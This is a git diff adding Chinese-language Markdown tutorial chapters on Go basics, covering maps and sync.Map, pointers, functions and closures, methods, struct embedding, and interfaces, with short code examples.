||||
#### 1.1 map的创建
|
||||
|
||||
Go内置了map类型,map是一个无序键值对集合(也有一些书籍翻译为字典)。
|
||||
|
||||
普通创建:
|
||||
```go
|
||||
// 声明一个map类型,[]内的类型指任意可以进行比较的类型 int指值类型
|
||||
m := map[string]int{"a":1,"b":2}
|
||||
fmt.Print(m["a"])
|
||||
```
|
||||
|
||||
make方式创建map:
|
||||
```go
|
||||
type Person struct{
|
||||
ID string
|
||||
Name string
|
||||
}
|
||||
|
||||
func main() {
|
||||
|
||||
var m map[string] Person
|
||||
m = make(map[string] Person)
|
||||
m["123"] = Person{"123","Tom"}
|
||||
p,isFind := m["123"]
|
||||
fmt.Println(isFind) //true
|
||||
fmt.Println(p) //{123 Tom}
|
||||
|
||||
}
|
||||
```
|
||||
|
||||
注意:golang中map的 key 通常 key 为 int 、string,但也可以是其他类型如:bool、数字、string、指针、channel,还可以是只包含前面几个类型的接口、结构体、数组。slice、map、function由于不能使用 == 来判断,不能作为map的key。
|
||||
|
||||
#### 1.2 map的使用
|
||||
|
||||
通过key操作元素:
|
||||
```go
|
||||
var numbers map[string]int
|
||||
numbers = make(map[string]int)
|
||||
numbers["one"] = 1 //赋值
|
||||
numbers["ten"] = 10 //赋值
|
||||
numbers["three"] = 3
|
||||
delete(numbers, "ten") // 删除key为 ten 的元素
|
||||
|
||||
fmt.Println("第三个数字是: ", numbers["three"]) // 读取数据
|
||||
```
|
||||
|
||||
map的遍历:同数组一样,使用for-range 的结构遍历
|
||||
|
||||
注意:
|
||||
- map是无序的,每次打印出来的map都会不一样,它不能通过index获取,而必须通过key获取;
|
||||
- map的长度是不固定的,也就是和slice一样,也是一种引用类型
|
||||
- 内置的len函数同样适用于map,返回map拥有的key的数量
|
||||
- go没有提供清空元素的方法,可以重新make一个新的map,不用担心垃圾回收的效率,因为go中并行垃圾回收效率比写一个清空函数高效很多
|
||||
- map和其他基本型别不同,它不是thread-safe,在多个go-routine存取时,必须使用mutex lock机制
|
||||
|
||||
#### 1.3 并发安全的map
|
||||
|
||||
演示并发读写map的问题:
|
||||
```go
|
||||
package main
|
||||
|
||||
func main() {
|
||||
|
||||
m := make(map[int]int)
|
||||
|
||||
go func() {
|
||||
for { //无限写入
|
||||
m[1] = 1
|
||||
}
|
||||
}()
|
||||
|
||||
go func() {
|
||||
for { //无限读取
|
||||
_ = m[1]
|
||||
}
|
||||
}()
|
||||
|
||||
for {} //无限循环,让并发程序在后台执行
|
||||
}
|
||||
```
|
||||
|
||||
编译会有错误提示:`fatal error: concurrent map read and map write`,即出现了并发读写,因为用两个并发程序不断的对map进行读和写,产生了竞态问题。map内部会对这种错误进行检查并提前发现。
|
||||
|
||||
Go内置的map只有读是线程安全的,读写是线程不安全的。
|
||||
|
||||
需要并发读写时,一般都是加锁,但是这样做性能不高,在go1.9版本中提供了更高效并发安全的sync.Map。
|
||||
|
||||
sync.Map的特点:
|
||||
- 无须初始化,直接声明即可
|
||||
- sync.Map不能使用map的方式进行取值和设值操作,而是使用sync.Map的方法进行调用。Store表示存储,Load表示获取,Delete表示删除。
|
||||
- 使用Range配合一个回调函数进行遍历操作,通过回调函数返回内部遍历出来的值,需要继续迭代时,返回true,终止迭代返回false。
|
||||
|
||||
```go
|
||||
package main
|
||||
|
||||
import (
|
||||
"fmt"
|
||||
"sync"
|
||||
)
|
||||
|
||||
func main() {
|
||||
|
||||
var scene sync.Map
|
||||
|
||||
//保存键值对
|
||||
scene.Store("id",1)
|
||||
scene.Store("name","lisi")
|
||||
|
||||
//根据键取值
|
||||
fmt.Println(scene.Load("name"))
|
||||
|
||||
//遍历
|
||||
scene.Range(func(k, v interface{}) bool{
|
||||
fmt.Println(k,v)
|
||||
return true
|
||||
})
|
||||
|
||||
}
|
||||
```
|
||||
|
||||
注意:map没有提供获取map数量的方法,可以在遍历时手动计算。sync.Map为了并发安全。损失了一定的性能。
|
65
01-基础语法/09-引用类型-3-指针.md
Normal file
65
01-基础语法/09-引用类型-3-指针.md
Normal file
@ -0,0 +1,65 @@
|
||||
## 一 指针
|
||||
|
||||
### 1.1 指针的创建
|
||||
|
||||
Go保留了指针,代表某个内存地址,默认值为 `nil` ,使用 `&` 取变量地址,通过 `*` 访问目标对象。
|
||||
|
||||
简单示例:
|
||||
```go
|
||||
var a int = 10
|
||||
fmt.Println("&a=", &a) // 0xc000096008 一个十六进制数
|
||||
|
||||
var p *int = &a
|
||||
fmt.Println("*p=", *p) // 10
|
||||
```
|
||||
|
||||
注意:
|
||||
- Go同样支持多级指针,如 `**T`
|
||||
- 空指针:声明但未初始化的指针
|
||||
- 野指针:引用了无效地址的指针,如:`var p *int = 0`,`var p *int = 0xff00`(超出范围)
|
||||
- Go中直接使用` . `访问目标成员
|
||||
|
||||
### 1.2 指针使用示例:实现变量值交换
|
||||
```go
|
||||
func swap(p1,p2 *int) {
|
||||
*p1,*p2 = *p2,*p1
|
||||
}
|
||||
```
|
||||
|
||||
### 1.3 结构体指针
|
||||
|
||||
示例:
|
||||
```go
|
||||
type User struct{
|
||||
name string
|
||||
age int
|
||||
}
|
||||
|
||||
func main() {
|
||||
var u = User{
|
||||
name:"lisi",
|
||||
age: 18,
|
||||
}
|
||||
p := &u
|
||||
fmt.Println(u.name) //输出李四
|
||||
fmt.Println(p.name) //输出李四
|
||||
}
|
||||
```
|
||||
|
||||
### 1.4 Go不支持指针运算
|
||||
|
||||
由于垃圾回收机制的存在,指针运算造成许多困扰,所以Go直接禁止了指针运算
|
||||
```go
|
||||
a := 1
|
||||
p := &a
|
||||
p++ //报错:non-numeric type *int
|
||||
```
|
||||
|
||||
### 1.5 new()函数使用
|
||||
|
||||
new()函数可以在 heap堆 区申请一片内存地址空间:
|
||||
```go
|
||||
var p *bool
|
||||
p = new(bool)
|
||||
fmt.Println(*p) // false
|
||||
```
|
221
01-基础语法/10-函数-1-函数简介.md
Normal file
221
01-基础语法/10-函数-1-函数简介.md
Normal file
@ -0,0 +1,221 @@
|
||||
## 一 函数
|
||||
|
||||
#### 1.1 函数声明
|
||||
|
||||
函数声明格式:
|
||||
```go
|
||||
func 函数名字 (参数列表) (返回值列表){
|
||||
// 函数体
|
||||
return 返回值列表
|
||||
}
|
||||
```
|
||||
注意:
|
||||
- 函数名首字母小写为私有,大写为公有;
|
||||
- 参数列表可以有0-多个,多参数使用逗号分隔,不支持默认参数;
|
||||
- 返回值列表返回值类型可以不用写变量名
|
||||
- 如果只有一个返回值且不声明类型,可以省略返回值列表与括号
|
||||
- 如果有返回值,函数内必须有return
|
||||
|
||||
Go中函数常见写法:
|
||||
```go
|
||||
//无返回值,默认返回0,所以也可以写为 func fn() int {}
|
||||
func fn(){}
|
||||
|
||||
//Go推荐给函数返回值起一个变量名
|
||||
func fn1() (result int) {
|
||||
return 1
|
||||
}
|
||||
|
||||
//第二种返回值写法
|
||||
func fn2() (result int) {
|
||||
result = 1
|
||||
return
|
||||
}
|
||||
|
||||
//多返回值情
|
||||
func fn3() (int, int, int) {
|
||||
return 1,2,3
|
||||
}
|
||||
|
||||
//Go返回值推荐多返回值写法:
|
||||
func fn4() (a int, b int, c int) { 多个参数类型如果相同,可以简写为: a,b int
|
||||
a , b, c = 1, 2, 3
|
||||
return
|
||||
}
|
||||
|
||||
```
|
||||
|
||||
#### 1.2 值传递和引用传递
|
||||
|
||||
不管是值传递还是引用传递,传递给函数的都是变量的副本,不同的是,值传递的是值的拷贝,引用传递的是地址的拷贝,一般来说,地址拷贝效率高,因为数据量小,而值拷贝决定拷贝的 数据大小,数据越大,效率越低。
|
||||
|
||||
如果希望函数内的变量能修改函数外的变量,可以传入变量的地址&,函数内以指针的方式操作变量。
|
||||
|
||||
#### 1.3 可变参数
|
||||
|
||||
可变参数变量是一个包含所有参数的切片。如果要在多个可变参数中传递参数 ,可以在传递时在可变参数变量中默认添 加“ ...”,将切片中的元素进行传递,而不是传递可变参数变量本身。
|
||||
|
||||
示例:对可变参数列表进行遍历
|
||||
```go
|
||||
func joinStrings(slist ...string) string {
|
||||
var buf bytes.Buffer
|
||||
for _, s := range slist {
|
||||
buf.WriteString(s)
|
||||
}
|
||||
return buf.String()
|
||||
}
|
||||
|
||||
func main() {
|
||||
fmt.Println(joinStrings("pig", " and", " bird"))
|
||||
}
|
||||
```
|
||||
|
||||
示例:参数传递
|
||||
```go
|
||||
// 实际打印函数
|
||||
func rawPrint(rawList ...interface{}) {
|
||||
for _, a := range rawList {
|
||||
fmt.Println(a)
|
||||
}
|
||||
}
|
||||
|
||||
// 封装打印函数
|
||||
func print(slist ...interface{}) {
|
||||
// 将slist可变参数切片完整传递给下一个函数
|
||||
rawPrint(slist...)
|
||||
}
|
||||
|
||||
func main() {
|
||||
print(1,2,3)
|
||||
}
|
||||
```
|
||||
|
||||
#### 1.4 匿名函数
|
||||
|
||||
匿名函数可以看做函数字面量,所有直接使用函数类型变量的地方都可以由匿名函数代替。匿名函数可以直接赋值给函数变量,可以当做实参,也可以作为返回值使用,还可以直接被调用。
|
||||
```go
|
||||
func main() {
|
||||
|
||||
a := 3
|
||||
f1 := func(num int) { // f1 即为匿名函数
|
||||
fmt.Println(num) // 匿名函数访问外部变量
|
||||
}
|
||||
f1(a)
|
||||
|
||||
func() { // 匿名函数自调
|
||||
fmt.Println(a)
|
||||
}()
|
||||
|
||||
}
|
||||
|
||||
//匿名函数实战:取最大值,最小值
|
||||
x, y := func(i,j int) (max,min int) {
|
||||
if i > j {
|
||||
max = i
|
||||
min = j
|
||||
} else {
|
||||
max = j
|
||||
min = i
|
||||
}
|
||||
return
|
||||
}(10,20)
|
||||
fmt.Println(x + ' ' + y)
|
||||
|
||||
```
|
||||
|
||||
#### 1.5 函数类型
|
||||
|
||||
函数去掉函数名、参数名和{}后的结果即是函数类型,可以使用%T打印该结果。
|
||||
|
||||
两个函数类型相同的前提是:拥有相同的形参列表和返回值列表,且列表元素的次序、类型都相同,形参名可以不同。
|
||||
|
||||
示例:
|
||||
```go
|
||||
func mathSum(a, b int) int {
|
||||
return a + b
|
||||
}
|
||||
|
||||
func mathSub(a, b int) int {
|
||||
return a - b
|
||||
}
|
||||
|
||||
//定义一个函数类型
|
||||
type MyMath func(int, int) int
|
||||
|
||||
//定义的函数类型作为参数使用
|
||||
func Test(f MyMath, a , b int) int{
|
||||
return f(a,b)
|
||||
}
|
||||
```
|
||||
通常可以把函数类型当做一种引用类型,实际函数类型变量和函数名都可以当做指针变量,只想函数代码开始的位置,没有初始化的函数默认值是nil。
|
||||
|
||||
## 二 Go函数特性总结
|
||||
|
||||
- 支持有名称的返回值;
|
||||
- 不支持默认值参数;
|
||||
- 不支持重载;
|
||||
- 不支持命名函数嵌套,匿名函数可以嵌套;
|
||||
- Go函数从实参到形参的传递永远是值拷贝,有时函数调用后实参指向的值发生了变化,是因为参数传递的是指针的拷贝,实参是一个指针变量,传递给形参的是这个指针变量的副本,实质上仍然是值拷贝;
|
||||
- Go函数支持不定参数;
|
||||
|
||||
|
||||
## 三 两个特殊函数
|
||||
|
||||
#### 3.1 init函数
|
||||
|
||||
Go语言中,除了可以在全局声明中初始化实体,也可以在init函数中初始化。init函数是一个特殊的函数,它会在包完成初始化后自动执行,执行优先级高于main函数,并且不能手动调用init函数,每一个文件可以有多个init函数,初始化过程会根据包的以来关系顺序单线程执行。
|
||||
```go
|
||||
package main
|
||||
import (
|
||||
"fmt"
|
||||
)
|
||||
func init() {
|
||||
//在这里可以书写一些初始化操作
|
||||
fmt.Println("init...")
|
||||
}
|
||||
func main() {
|
||||
fmt.Println("main...")
|
||||
}
|
||||
```
|
||||
|
||||
#### 3.2 new函数
|
||||
|
||||
new函数可以用来创建变量。表达式`new(T)`将创建一个T类型的匿名变量,初始化为T类型的零值,然后返回变量地址,返回的指针类型为`*T`:
|
||||
|
||||
```go
|
||||
p := new(int) // p 为 *int类型,只想匿名的int变量
|
||||
fmt.Println(*p) // "0"
|
||||
*p = 2 // 设置 int匿名变量值为2
|
||||
fmt.Println(*p)
|
||||
```
|
||||
|
||||
new函数还可以用来为结构体创建实例:
|
||||
```go
|
||||
type file struct {
|
||||
|
||||
}
|
||||
f := new(file)
|
||||
```
|
||||
|
||||
贴士:new函数其实是语法糖,不是新概念,如下所示的两个函数其实拥有相同的行为。
|
||||
```go
|
||||
func newInt1() *int {
|
||||
return new(int)
|
||||
}
|
||||
|
||||
func newInt2() *int {
|
||||
var dummy int
|
||||
return &dummy
|
||||
}
|
||||
```
|
||||
|
||||
注意:`new`只是一个预定义函数,并不是一个关键字,所以`new`也有可能会被项目定义为别的类型。
|
||||
|
||||
#### 3.3 make函数
|
||||
|
||||
make函数经常用来创建切片、Map、管道:
|
||||
```go
|
||||
m1 := map[string]int{}
|
||||
m2 := make(map[string]int, 10)
|
||||
```
|
||||
上面展示了两种map的创建方式,其不同点是第一种创建方式无法预估长度,当长度超过了当前长度时,会引起内存的拷贝!!第二种创建方式直接限定了长度,这样能有效提升性能!
|
61
01-基础语法/10-函数-2-闭包.md
Normal file
61
01-基础语法/10-函数-2-闭包.md
Normal file
@ -0,0 +1,61 @@
|
||||
## 一 闭包
|
||||
|
||||
#### 1.1 闭包概念
|
||||
|
||||
闭包是引用了自由变量的函数,被引用的自由变量和函数一同存在,即使己经离开了自由变量的环境也不会被释放或者删除,在闭包中可以继续使用这个自由变量。
|
||||
|
||||
简单的说 : 函数+引用环境=闭包
|
||||
|
||||
贴士:闭包( Closure)在某些编程语言中也被称为 Lambda表达式(如Java)
|
||||
|
||||
在闭包中可以修改引用的变量:
|
||||
```go
|
||||
str := "hello"
|
||||
foo := func(){ // 声明一个匿名函数
|
||||
str = "world"
|
||||
}
|
||||
foo() // 调用匿名函数,修改str值
|
||||
fmt.Print(str) // world
|
||||
```
|
||||
|
||||
#### 1.2 闭包案例一 简单示例
|
||||
|
||||
```go
|
||||
func fn1(a int) func(i int) int {
|
||||
return func(i int) int {
|
||||
print(&a, a)
|
||||
return a
|
||||
}
|
||||
}
|
||||
|
||||
func main() {
|
||||
|
||||
f := fn1(1) //输出地址
|
||||
g := fn1(2) //输出地址
|
||||
|
||||
fmt.Println(f(1)) //输出1
|
||||
fmt.Println(f(1)) //输出1
|
||||
|
||||
fmt.Println(g(2)) //输出2
|
||||
fmt.Println(g(2)) //输出2
|
||||
|
||||
}
|
||||
```
|
||||
|
||||
#### 1.3 闭包案例二 实现累加器
|
||||
|
||||
```go
|
||||
func Accumulate(value int) func() int {
|
||||
return func() int { // 返回一个闭包
|
||||
value++
|
||||
return value
|
||||
}
|
||||
}
|
||||
|
||||
func main() {
|
||||
|
||||
accAdd := Accumulate(1)
|
||||
fmt.Println(accAdd()) // 2
|
||||
fmt.Println(accAdd()) // 3
|
||||
}
|
||||
```
|
202
01-基础语法/11-面向对象-1-构造函数与方法.md
Normal file
202
01-基础语法/11-面向对象-1-构造函数与方法.md
Normal file
@ -0,0 +1,202 @@
|
||||
## 一 面向对象初识
|
||||
|
||||
#### 1.1 模拟构造函数
|
||||
|
||||
Go和传统的面向对象语言如Java有着很大区别。结构体没有构造函数初始化功能,可以通过以下方式模拟:
|
||||
```go
|
||||
package main
|
||||
|
||||
import (
|
||||
"fmt"
|
||||
)
|
||||
|
||||
type Person struct {
|
||||
Name string
|
||||
Age int
|
||||
}
|
||||
|
||||
func NewPersonByName(name string) *Person {
|
||||
return &Person{
|
||||
Name: name,
|
||||
}
|
||||
}
|
||||
|
||||
func NewPersonByAge(age int) *Person {
|
||||
return &Person{
|
||||
Age: age,
|
||||
}
|
||||
}
|
||||
|
||||
func main() {
|
||||
|
||||
p := NewPersonByName("zs")
|
||||
fmt.Println(p) // {zs 0}
|
||||
|
||||
}
|
||||
```
|
||||
|
||||
贴士:因为Go没有函数重载,为了避免函数名字冲突,使用了`NewPersonByName`和`NewPersonByAge`两个不同的函数表示不同的`Person`构造过程。
|
||||
|
||||
#### 1.2 父子关系结构体初始化
|
||||
|
||||
Person可以看做父类,Student是子类,子类需要继承父类的成员:
|
||||
```go
|
||||
package main
|
||||
|
||||
import (
|
||||
"fmt"
|
||||
)
|
||||
|
||||
type Person struct {
|
||||
Name string
|
||||
Age int
|
||||
}
|
||||
|
||||
type Student struct {
|
||||
Person
|
||||
ClassName string
|
||||
}
|
||||
|
||||
//构造父类
|
||||
func NewPerson(name string, age int) *Person {
|
||||
return &Person{
|
||||
Name: name,
|
||||
Age: age,
|
||||
}
|
||||
}
|
||||
|
||||
//构造子类
|
||||
func NewStudent(classname string) *Student {
|
||||
p := &Student{}
|
||||
p.ClassName = classname
|
||||
return p
|
||||
}
|
||||
|
||||
|
||||
func main() {
|
||||
|
||||
s := NewStudent("一班")
|
||||
fmt.Println(s) // &{{ 0} 一班}
|
||||
|
||||
}
|
||||
```
|
||||
|
||||
#### 1.3 Go中的面向对象初识
|
||||
|
||||
在Go中,可以给任意类型(除了指针)添加相应方法:
|
||||
```go
|
||||
type Interger int
|
||||
|
||||
func (i Interger) Less (j Interger) bool {
|
||||
return i < j
|
||||
}
|
||||
|
||||
func main() {
|
||||
var i Interger = 1
|
||||
fmt.Print(i.Less(5))
|
||||
}
|
||||
```
|
||||
|
||||
## 二 方法
|
||||
|
||||
#### 2.1 方法
|
||||
|
||||
Golang 中的方法是作用在指定的数据类型上的(即:和指定的数据类型绑定),因此自定义类型,都可以有方法,而不仅仅是 struct。
|
||||
|
||||
方法的声明和调用:
|
||||
```go
|
||||
func (recevier type) methodName(参数列表) (返回值列表){
|
||||
//方法体
|
||||
return 返回值
|
||||
}
|
||||
```
|
||||
|
||||
方法与函数的示例:
|
||||
```go
|
||||
package main
|
||||
|
||||
import (
|
||||
"fmt"
|
||||
)
|
||||
|
||||
type Person struct {
|
||||
Name string
|
||||
Age int
|
||||
}
|
||||
|
||||
// 一个run函数
|
||||
func run(p *Person, name string) {
|
||||
p.Name = name
|
||||
fmt.Println("函数 run...", p.Name)
|
||||
}
|
||||
|
||||
// 一个run方法
|
||||
func (p *Person)run() {
|
||||
fmt.Println("方法 run...", p.Name)
|
||||
}
|
||||
|
||||
func main() {
|
||||
|
||||
// 实例化一个对象(结构体)
|
||||
p1 := &Person{
|
||||
"ruyue",
|
||||
10,
|
||||
}
|
||||
|
||||
// 执行一个普通方法
|
||||
run(p1, "张三") // 输出 函数 run... 张三
|
||||
|
||||
// 执行方法
|
||||
p1.run() // 输出 方法 run... 张三
|
||||
|
||||
}
|
||||
```
|
||||
|
||||
#### 2.2 Go方法本质
|
||||
|
||||
Go的方法是一种作用于特定类型变量的函数,这种特定类型的变量叫做接收器(Receiver)。如果特定类型理解为结构体或者“类”时,接收器就类似于其他语言的this或者self。
|
||||
|
||||
在Go中,接收器可以是任何类型,不仅仅是结构体,依此我们看出,Go中的方法和其他语言的方法类似,但是Go语言的接收器强调方法的作用对象是实例。
|
||||
|
||||
方法与函数的区别就是:函数没有作用对象。
|
||||
|
||||
指针接收器传入的是 struct 本身,指针接收器可以读写 struct 中的内容,在方法结束后,修改都是有效的。
|
||||
|
||||
非指针接收器传入的是 struct 的 copy 副本,非指针接收器只能读取 struct 中的数据但是不能写入,如果写入的话也只是写入到 struct 的备份中而已。
|
||||
|
||||
示例如下:
|
||||
|
||||
```go
|
||||
package main
|
||||
|
||||
import "fmt"
|
||||
|
||||
type student struct {
|
||||
age int8
|
||||
}
|
||||
|
||||
//指针接收器
|
||||
func(s *student) ageAdd1() {
|
||||
s.age += 1
|
||||
}
|
||||
|
||||
//非指针接收器
|
||||
func(s student) ageAdd2() {
|
||||
s.age += 1
|
||||
}
|
||||
|
||||
func main() {
|
||||
student := new(student)
|
||||
|
||||
student.ageAdd1()
|
||||
fmt.Println(student.age) // 1 传入指针,原值 + 1,为 1
|
||||
|
||||
student.ageAdd1()
|
||||
fmt.Println(student.age) // 2 传入指针,原值 + 1,为 2
|
||||
|
||||
student.ageAdd2()
|
||||
fmt.Println(student.age) // 2 传入复制体,复制体 + 1,所以原值还是 2
|
||||
}
|
||||
```
|
||||
|
||||
一般情况下,小对象由于复制时速度较快,适合使用非指针接收器,大对象因为复制性能较低,适合使用指针接收器,此时再接收器和参数之间传递时不进行复制,只传递指针。
|
169
01-基础语法/11-面向对象-2-三大特性.md
Normal file
169
01-基础语法/11-面向对象-2-三大特性.md
Normal file
@ -0,0 +1,169 @@
|
||||
## 一 面向对象三大特性
|
||||
|
||||
#### 1.1 封装
|
||||
|
||||
封装:把抽象出的字段和对字段的操作封装在一起,数据被保护在内部,程序的其它包只有通过被授权的操作(方法),才能对字段进行修改,其作用有:
|
||||
- 隐藏实现细节
|
||||
- 可以对数据进行验证,保证安全合理
|
||||
|
||||
Golang对面向对象做了极大简化,并不强调封装特性,下列示例进行模拟实现:
|
||||
|
||||
在`person`包下新建`person.go`文件:
|
||||
```go
|
||||
package person
|
||||
|
||||
import "fmt"
|
||||
|
||||
type person struct {
|
||||
Name string
|
||||
age int //年龄是隐私,不允许其他包访问
|
||||
}
|
||||
|
||||
//工厂函数(类似构造函数)
|
||||
func NewPerson(name string) *person {
|
||||
return &person{
|
||||
Name: name,
|
||||
}
|
||||
}
|
||||
|
||||
func (p *person) SetAge(age int) {
|
||||
if age > 0 && age < 150 { //校验
|
||||
p.age = age
|
||||
} else {
|
||||
fmt.Println("年龄不合法")
|
||||
}
|
||||
}
|
||||
|
||||
func (p *person) GetAge() int {
|
||||
return p.age
|
||||
}
|
||||
```
|
||||
|
||||
`main.go`文件操作person:
|
||||
```go
|
||||
package main
|
||||
|
||||
import (
|
||||
"demo/person" // demo是go mod模式下,整体项目名
|
||||
"fmt"
|
||||
)
|
||||
|
||||
func main() {
|
||||
p := person.NewPerson("Tom")
|
||||
p.SetAge(18)
|
||||
fmt.Println(p)
|
||||
}
|
||||
```
|
||||
|
||||
#### 1.2 继承
|
||||
|
||||
在 Golang 中,如果一个 struct 嵌套了另一个匿名结构体,那么这个结构体可以直接访 问匿名结构体的字段和方法,从而实现了继承特性。
|
||||
```go
|
||||
package main
|
||||
|
||||
import (
|
||||
"fmt"
|
||||
)
|
||||
|
||||
type Father struct {
|
||||
Name string
|
||||
age int
|
||||
}
|
||||
func (f *Father) run() {
|
||||
fmt.Println(f.Name + " like running...")
|
||||
}
|
||||
|
||||
type Son struct {
|
||||
Father //嵌套匿名结构体
|
||||
}
|
||||
|
||||
func main() {
|
||||
|
||||
var s Son
|
||||
|
||||
//s.Father.Name = "Tom"
|
||||
//s.Father.age = 10 //可以访问未导出属性
|
||||
//s.Father.run() //可以访问未导出方法
|
||||
|
||||
//上述可以简写为:
|
||||
s.Name = "Tom"
|
||||
s.age = 10
|
||||
s.run()
|
||||
|
||||
}
|
||||
```
|
||||
|
||||
注意:
|
||||
- 当结构体和匿名结构体有相同的字段或者方法时,编译器采用就近访问原则访问,如果希望访问匿名结构体的字段和方法,可以通过匿名结构体名来区分。
|
||||
- 结构体嵌入多个匿名结构体,如果两个匿名结构体有相同的字段和方法(同时结构体本身没有同名的字段和方法),访问时必须明确指定匿名结构体名字,否则编译报错。
|
||||
- 如果一个 struct 嵌套了一个有名结构体,这种模式就是组合,如果是组合关系,那么在访问组合的结构体的字段或方法时,必须带上结构体的名字。
|
||||
|
||||
|
||||
关于多重继承:如果一个 struct 嵌套了多个匿名结构体,那么该结构体可以直接访问嵌套的匿名结构体的字段和方法,从而实现多重继承。
|
||||
```go
|
||||
package main
|
||||
|
||||
import (
|
||||
"fmt"
|
||||
)
|
||||
|
||||
type Father1 struct {
|
||||
Name string
|
||||
age int
|
||||
}
|
||||
func (f *Father1) run() {
|
||||
fmt.Println(f.Name + " like running...")
|
||||
}
|
||||
|
||||
type Father2 struct {
|
||||
Like string
|
||||
}
|
||||
|
||||
|
||||
type Son1 struct {
|
||||
Father1
|
||||
Father2
|
||||
}
|
||||
|
||||
type Son2 struct {
|
||||
*Father1
|
||||
*Father2
|
||||
}
|
||||
|
||||
func main() {
|
||||
|
||||
s1 := &Son1 {
|
||||
Father1{
|
||||
Name: "Tom",
|
||||
age: 10,
|
||||
},
|
||||
Father2{
|
||||
Like: "伏特加",
|
||||
},
|
||||
}
|
||||
|
||||
fmt.Println(s1)
|
||||
|
||||
s2 := &Son2{
|
||||
&Father1{
|
||||
Name: "Tom",
|
||||
age: 10,
|
||||
},
|
||||
&Father2{
|
||||
Like: "伏特加",
|
||||
},
|
||||
}
|
||||
fmt.Println(s2.Father1)
|
||||
|
||||
}
|
||||
```
|
||||
|
||||
输出结果:
|
||||
```
|
||||
&{{Tom 10} {伏特加}}
|
||||
&{Tom 10}
|
||||
```
|
||||
|
||||
#### 1.3 多态
|
||||
|
||||
多态与接口(interface)有关联,参见接口章节
|
197
01-基础语法/12-接口类型-1-接口的使用.md
Normal file
197
01-基础语法/12-接口类型-1-接口的使用.md
Normal file
@ -0,0 +1,197 @@
|
||||
## 一 接口 interface
|
||||
|
||||
接口(interface)是调用方和实现方均需要遵守的一种约束,约束开发者按照统一的方法命名、参数类型、数量来处理具体业务。实际上,接口就是一组没有实现的方法声明,到某个自定义类型要使用该方法时,根据具体情况把这些方法实现出来。接口语法:
|
||||
```go
|
||||
type 接口类型名 interface {
|
||||
方法名1(参数列表) 返回值列表
|
||||
方法名2(参数列表) 返回值列表
|
||||
...
|
||||
}
|
||||
```
|
||||
|
||||
示例:
|
||||
```go
|
||||
package main
|
||||
|
||||
import "fmt"
|
||||
|
||||
// 运输方式
|
||||
type Transporter interface {
|
||||
BicycleTran()
|
||||
CarTran()
|
||||
}
|
||||
|
||||
// 驾驶员
|
||||
type Driver struct {
|
||||
Name string
|
||||
Age int
|
||||
}
|
||||
|
||||
// 实现运输方式接口
|
||||
func (d *Driver) BicycleTran() {
|
||||
fmt.Println("使用自行车运输")
|
||||
}
|
||||
func (d *Driver) CarTran() {
|
||||
fmt.Println("使用小汽车运输")
|
||||
}
|
||||
|
||||
func main() {
|
||||
d := &Driver{
|
||||
"张三",
|
||||
27,
|
||||
}
|
||||
trans(d)
|
||||
}
|
||||
|
||||
// 只要实现了 Transporter接口的类型都可以作为参数
|
||||
func trans(t Transporter) {
|
||||
t.BicycleTran()
|
||||
}
|
||||
|
||||
```
|
||||
|
||||
注意:
|
||||
- Go语言的接口在命名时,一般会在单词后面添加er,如写操作的接口叫做Writer
|
||||
- 当方法名首字母大写,且实现的接口首字母也是大写,则该方法可以被接口所在包之外的代码访问
|
||||
- 方法与接口中的方法签名一致(方法名、参数列表、返回列表都必须一致)
|
||||
- 参数列表和返回值列表中的变量名可以被忽略,如:type writer interfae{ Write([]byte) error}
|
||||
- 接口中所有的方法都必须被实现
|
||||
- 如果编译时发现实现接口的方法签名不一致,则会报错:` does not implement `。
|
||||
|
||||
## 二 Go接口的特点
|
||||
|
||||
在上述示例中,Go无须像Java那样显式声明实现了哪个接口,即为非侵入式,接口编写者无需知道接口被哪些类型实现,接口实现者只需要知道实现的是什么样子的接口,但无需指明实现了哪个接口。编译器知道最终编译时使用哪个类型实现哪个接口,或者接口应该由谁来实现。
|
||||
|
||||
类型和接口之间有一对多和多对一的关系,即:
|
||||
- 一个类型可以实现多个接口,接口间是彼此独立的,互相不知道对方的实现
|
||||
- 多个类型也可以实现相同的接口。
|
||||
|
||||
|
||||
```go
|
||||
type Service interface {
|
||||
Start()
|
||||
Log(string)
|
||||
}
|
||||
|
||||
// 日志器
|
||||
type Logger struct {
|
||||
}
|
||||
//日志输出方法
|
||||
func (g *Logger) Log(s string){
|
||||
fmt.Println("日志:", s)
|
||||
}
|
||||
|
||||
// 游戏服务
|
||||
type GameService struct {
|
||||
Logger
|
||||
}
|
||||
// 实现游戏服务的Start方法
|
||||
func (g *GameService) Start() {
|
||||
fmt.Println("游戏服务启动")
|
||||
}
|
||||
|
||||
func main() {
|
||||
s := new(GameService)
|
||||
s.Start()
|
||||
s.Log("hello")
|
||||
}
|
||||
```
|
||||
|
||||
在上述案例中,即使没有接口也能运行,但是当存在接口时,会隐式实现接口,让接口给类提供约束。
|
||||
|
||||
|
||||
使用接口调用了结构体中的方法,也可以理解为实现了面向对象中的多态。
|
||||
|
||||
## 三 接口嵌套
|
||||
|
||||
Go中不仅结构体之间可以嵌套,接口之间也可以嵌套。接口与接口嵌套形成了新的接口,只要接口的所有方法被实现,则这个接口中所有嵌套接口的方法均可以被调用。
|
||||
|
||||
```go
|
||||
// 定义一个 写 接口
|
||||
type Writer interface {
|
||||
Write(p []byte) (n int, e error)
|
||||
}
|
||||
|
||||
// 定义一个 读 接口
|
||||
type Reader interface {
|
||||
Read() error
|
||||
}
|
||||
|
||||
// 定义一个 嵌套接口
|
||||
type IO interface {
|
||||
Writer
|
||||
Closer
|
||||
}
|
||||
```
|
||||
|
||||
## 四 空接口
|
||||
|
||||
#### 4.1 空接口定义
|
||||
|
||||
空接口是接口的特殊形式,没有任何方法,因此任何具体的类型都可以认为实现了空接口。
|
||||
|
||||
```go
|
||||
var any interface{}
|
||||
|
||||
any = 1
|
||||
fmt.Println(any)
|
||||
|
||||
any = "hello"
|
||||
fmt.Println(any)
|
||||
```
|
||||
|
||||
空接口作为函数参数:
|
||||
```go
|
||||
func Test(i interface{}) {
|
||||
fmt.Printf("%T\n", i)
|
||||
}
|
||||
|
||||
func main() {
|
||||
Test(3) // int
|
||||
Test("hello") // sting
|
||||
}
|
||||
```
|
||||
|
||||
利用空接口,可以实现任意类型的存储:
|
||||
```go
|
||||
m := make(map[string]interface{})
|
||||
m["name"] = "李四"
|
||||
m["age"] = 30
|
||||
```
|
||||
|
||||
#### 4.2 从空接口获取值
|
||||
|
||||
保存到空接口的值,如果直接取出指定类型的值时,会发生编译错误:
|
||||
```go
|
||||
var a int = 1
|
||||
var i interface{} = a
|
||||
var b int = i //这里编译报错(类型不一致),可以这样做:b := i
|
||||
```
|
||||
|
||||
